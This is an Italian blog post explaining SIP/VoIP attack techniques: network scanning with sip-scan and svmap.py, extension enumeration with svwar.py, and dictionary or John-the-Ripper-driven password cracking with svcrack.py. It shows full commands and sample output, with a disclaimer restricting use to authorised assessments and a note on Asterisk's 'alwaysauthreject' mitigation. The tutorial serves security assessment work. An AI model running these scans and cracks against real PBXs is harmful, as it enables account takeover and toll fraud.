VoIP and Hacking

Una delle insidie più importanti per la sicurezza delle soluzioni cosiddette convergenti, tipo quelle rappresentate da PBX VoIP basati su SIP, sta sicuramente, come ho gia avuto occasione di affermare, nelle scelta di identificativi prevedibili e protezioni deboli.
Se poi ad esse si vanno a sommare fragilità intrinseche alle specifiche del protocollo stesso, la combinazione può essere micidiale e avere conseguenze molto dolorose.

È implicito, e se non lo fosse abbastanza lo ripeterò ancora una volta, che alcune delle tecniche illustrate possono essere legittimamente utilizzate solo in sede di assesment, ovvero di test su sistemi di propria competenza, e col permesso dei soggetti interessati.

Prima che una qualsiasi minaccia possa essere messa in pratica, occorre necessariamente individuare dei validi obiettivi, qualora non fossero già noti.
In ciò si concretizza la cosiddetta fase di enumerazione, nell’ambito della quale possono venire esaminati un gran numero di possibili candidati a tale ruolo.

Per quanto riguarda la enumerazione SIP esistono, e sono liberamente disponibili, piccoli tools piuttosto efficienti nello svolgere questo compito.
Due di essi, sip-scan e svmap.py, hanno lo scopo di scandire spazi anche ampi di indirizzi IP alla ricerca di nodi di rete che rispondano a richieste SIP, su trasporto UDP (tipicamente sulla porta 5060).
Entrambi fanno parte dell’arsenale di BackTrack, ma sono ovviamente utilizzabili su qualsiasi piattaforma dotata degli interpreti Perl e Python.

Il primo, è realizzato in Perl e comprende alcune semplici opzioni nell’ambito della seguente sintassi:

sip-scan [options] <target>

cioe:
-v        verbose.
-i ip|if  Interfaccia/IP per gli headers SIP (default: IP assegnato a ppp0)
-p port   porta remota. (default: 5060)
-l port   porta origine locale dei pacchetti. (default: 5060)
-d n[p]   attende n ms dopo ogni pacchetto inviato (default: 50ms) o nel caso in cui
sia stato specificato ‘p’, invia n pacchetti per secondo (default: 20)
-w n      attendi n ms per le restanti risposte (default: 2000ms)

il target può essere espresso con caratteri jolly (*) o ranges (n-m).

ad esempio:

# perl ./sip-scan 83.18.146.95
83.18.146.95: Asterisk PBX

# perl ./sip-scan 84.18.146.*
83.18.146.95: Asterisk PBX
83.18.146.240: Grandstream GXP2020 1.1.6.46
83.18.146.251: AVM FRITZ!Box Fon WLAN Annex A 08.03.91 (Nov 18 2005)

Il secondo è invece scritto in Python, e fa parte in realtà di una più ampia suite di tools incentrati tutti alle vulnerabilità del protocollo SIP, e che va sotto il nome suggestivo di SIPvicious .
In questo caso è consigliabile scaricare direttamente il software dal link appena indicato, essendo disponibile una versione più recente (la 0.2.4) di quella ospitata su BackTrack 4RC.

# ./svmap.py -x 151.65.41.124 83.18.146.95
| SIP Device         | User Agent   | Fingerprint                   |
---------------------------------------------------------------------
| 83.18.146.95:10000 | Asterisk PBX | Asterisk/Linksys/PAP2T-3.1.15 |

# ./svmap.py -x 151.65.41.124 83.18.146.0/24
| SIP Device         | User Agent            | Fingerprint           |
----------------------------------------------------------------------
| 83.18.146.254:5060 | AVM FRITZ!Box Fon ... | AVM or Speedport      |
| 83.18.146.95:10000 | Asterisk PBX          | Asterisk/Linksys/PAP2T|
| 84.18.146.246:5060 | Grandstream GXP2020   | Grandstream phone     |

Entrambi fanno la stessa operazione molto semplice, cioè l’invio di un pacchetto UDP/SIP con una richiesta di tipo OPTIONS riferita ad un indirizzo improbabile a tutti gli indirizzi specificati.

OPTIONS sip:foobar@83.18.146.95 SIP/2.0
[...]

nel caso di sip-scan, e

OPTIONS sip:100@83.18.146.95 SIP/2.0
[...]

nel caso di svmap.py.

Un nodo in ascolto risponde normalmente con:

SIP/2.0 404 Not Found
[...]
CSeq: 1 OPTIONS
User-Agent: Asterisk PBX
[...]

rivelando così la propria presenza e la propria natura.

L’enumerazione non si limita solamente ad individuare i nodi esposti direttamente in Internet, ma, una volta che ne sia stato scoperto uno, si estende a individuare gli accounts che ad esso eventualmente si riferiscono.

Questo è lo specifico compito di un tool anche esso parte della suite SIPVicious, ovvero svwar.py, il quale tenta di indovinare quanti più possibili account validi, tramite brute-force (sviluppo combinatorio di possibili range numerici) oppure attingendo ad un dizionario di accounts comunemente utilizzati nel mondo reale.

Se, per esempio sul nodo SIP (il server Asterisk) precedentemente individuato fossero definite alcune utenze con degli identificativi molto comuni e questi fossero elencati nel file nomi.txt, verrebbero immediatamente identificati da un comando come:

# ./svwar.py -x 151.65.46.26 -d nomi.txt 83.18.146.95
| Extension | Authentication |
------------------------------
| snom3     | reqauth        |
| xlite     | reqauth        |
| snom2     | reqauth        |
| snom      | reqauth        |

in grado di specificare se per essi sia eventualmente necessaria una autenticazione, come nell’esempio.
Quello che è avvenuto qui è stato in pratica l’invio di un pacchetto SIP contenente (per default) una richiesta REGISTER per ogni utenza riferita nel file nomi.txt.
Se l’utenza è reale può venire accettata, ma il server richiedere una autenticazione
In tal caso entra in gioco un terzo tool della suite SIPvicious, svcrack.py, che andrebbe utilizzato a carico di ciascuna utenza finora individuata, per soprirne la password, stavolta limitatatamente ad un dizionario di passwords anche esse “comunemente” utilizzate.
Come formula, “passwords comunemente utilizzate” dovrebbe essere un ossimoro, una implicita contraddizione, tipo la fuga di un cavallo morto, ma non è esattamente così nella realtà dei pbx in produzione, dove la dabbenaggine regna sovrana.
Per tale motivo, l’utilizzo di password facilmente prevedibili, come quelle presenti nei file di configurazione di esempio, può avere come conseguenza la loro rapida individuazione, tramite qualcosa come:

# ./svcrack.py -x 151.65.46.26 -d password.txt -uxlite 83.18.146.95
| Extension | Password  |
-------------------------
| xlite     | secret    |

Il tentativo di cracking della password può anche essere condotto in maniera aggressiva, come tipicamente potrebbe avvenire utilizzando come generatore john the ripper, redirigendo il suo output su di una fifo ed utilizzando la stessa come input per svcrack.py

# mkfifo fifofile
# john [args] > fifofile &
# ./svcrack.py -d fifofile [args]

Già nel 2006, gli sviluppatori di Asterisk, per rendere più difficile l’individuazione di validi SIP usernames, avevano implementato la opzione “alwaysauthreject”, che ritorna un errore 401 per tutte le repliche generate per utenze inesistenti. In aderenza alla RFC 3261, le specifiche SIP, tale opzione è tuttavia disabilitata per default. Quando abilitata invece, tutte le richieste relative ad utenze inesistenti riceverebbero l’indicazione che è incorretta solamente la password.
È importante notare che la vulnerabilità deriva in questo caso direttamente dalle specifiche del protocollo SIP, e che l’applicazione del workaround costituito dalla opzione appena citata rappresenta tecnicamente una violazione della RFC 3261.
È altresì interessante notare che l’effetto pratico dei comandi appena visti è la registrazione, sul pbx vittima, di un client fasullo con indirizzo IP 1.1.1.1, come risulterebbe sulla sua console:

-- Registered SIP 'xlite' at 1.1.1.1 port 5060 expires 120
-- Saved useragent "friendly-scanner" for peer xlite
pbx*CLI> sip show peers
Name/username         Host          Dyn Nat ACL Port     Status
xlite/xlite           1.1.1.1        D          5060     Unmonitored


Send post as PDF to